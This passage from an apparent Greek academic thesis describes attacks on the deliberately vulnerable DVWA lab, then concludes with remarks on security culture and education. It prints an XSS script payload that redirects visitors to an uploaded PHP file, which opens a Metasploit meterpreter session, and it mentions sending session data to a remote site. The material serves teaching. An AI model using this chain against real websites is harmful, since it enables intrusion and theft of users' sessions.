επιτιθέµενος θα µπορούσε εύκολα να το τροποποιήσει και να το στείλει σε µια αποµακρυσµένη 

τοποθεσία αντί απλά να το εµφανιστεί. Αν αναλογιστεί κανείς ότι θα µπορούσε να είναι η σύνδεση µε 

την ιστοσελίδα µιας τράπεζας, τότε κάθε φορά που ο χρήστης συνδέεται οι πληροφορίες της συνόδου θα 

στέλνονται σε αποµακρυσµένη τοποθεσία.   

 
 

Τέλος, παρουσιάζεται η τελευταία επίθεση στην οποία χρησιµοποιείται και το Metasploit για να 

αποκτηθεί πρόσβαση  στο σύστηµα-στόχο µετά την XSS επίθεση. 

∆ηµιουργείται το αρχείο FORUM_BUG.php το οποίο «ανεβαίνει» στο DVWA.  

 
 

Στη συνέχεια, ξεκινά ο PHP Payload Listener, κι έπειτα γίνεται η ΧSS window.location επίθεση στο 

DVWA όπου στο πεδίο Μessage αναγράφεται: 

<script>window.location="http://192.168.19.131/dvwa/hackable/uploads/FOR
UM_BUG.php" </script> 
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Αµέσως µόλις γίνει το exploit, το meterpreter αποκτά πρόσβαση στο σύστηµα όπως φαίνεται και στην 

παρακάτω εικόνα όπου στη συνέχεια είναι δυνατό µε αυτόν τον τρόπο να αποκτηθούν πολύ σηµαντικές 

πληροφορίες για το σύστηµα. 
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Συµπεράσµατα 

Το γνωστικό πεδίο της ασφάλειας δικτυοκεντρικών συστηµάτων είναι ένας τοµέας της Ασφάλειας 

Πληροφοριακών Συστηµάτων µε ιδιαίτερο ερευνητικό ενδιαφέρον καθώς πλέον τα περισσότερα 

πληροφοριακά συστήµατα είναι µέρος ενός δικτύου. Η δικτύωση, όµως, αυτή των πληροφοριακών 

συστηµάτων δηµιουργεί και την ανάγκη προστασίας τους από κακόβουλες ενέργειες διότι πολλοί 

κακόβουλοι χρήστες εντοπίζουν προβλήµατα και αδυναµίες των Πληροφοριακών Συστηµάτων και τα 

εκµεταλλεύονται προς όφελός τους. Οι τεχνικές εκµετάλλευσης που αναπτύσσουν και ο χρόνος που 

επενδύουν στη δηµιουργία νέων διογκώνουν το πρόβληµα της ασφάλειας, ενώ τις περισσότερες φορές 

βρίσκονται ένα βήµα µπροστά από τους υπεύθυνους ασφάλειας στον εντοπισµό ευπαθειών.  

Τα προβλήµατα ασφάλειας που υπάρχουν σε όλα τα πληροφοριακά συστήµατα έχουν ως 

αποτέλεσµα τη δαπάνη µεγάλων χρηµατικών ποσών σε εργασίες πρόληψης και επιδιόρθωσης 

προβληµάτων, καθώς και την απώλεια εµπορικών ευκαιριών και παραγωγικών επενδύσεων. Οι επιπλέον 

δυνατότητες και ευκολίες, τις οποίες προσπαθούν να παρέχουν οι κατασκευαστές των Πληροφοριακών 

Συστηµάτων στα προϊόντα τους, µε σκοπό την κατάκτηση της αγοράς, είναι ο εχθρός της ασφάλειας. Οι 

περισσότερες ευκολίες οδηγούν σε µεγαλύτερη πολυπλοκότητα, περισσότερο κώδικα, περισσότερα 

σφάλµατα, και περισσότερα προβλήµατα ασφάλειας.  

Για την αποτελεσµατικότερη αντιµετώπιση αυτού του προβλήµατος κρίνεται απαραίτητη η 

ανάπτυξη µιας κουλτούρας ασφάλειας. Το ρόλο αυτό καλούνται να τον αναλάβουν σε µεγάλο βαθµό και 

τα ακαδηµαϊκά ιδρύµατα, στα οποία βρίσκονται οι αυριανοί επαγγελµατίες πληροφορικής.  
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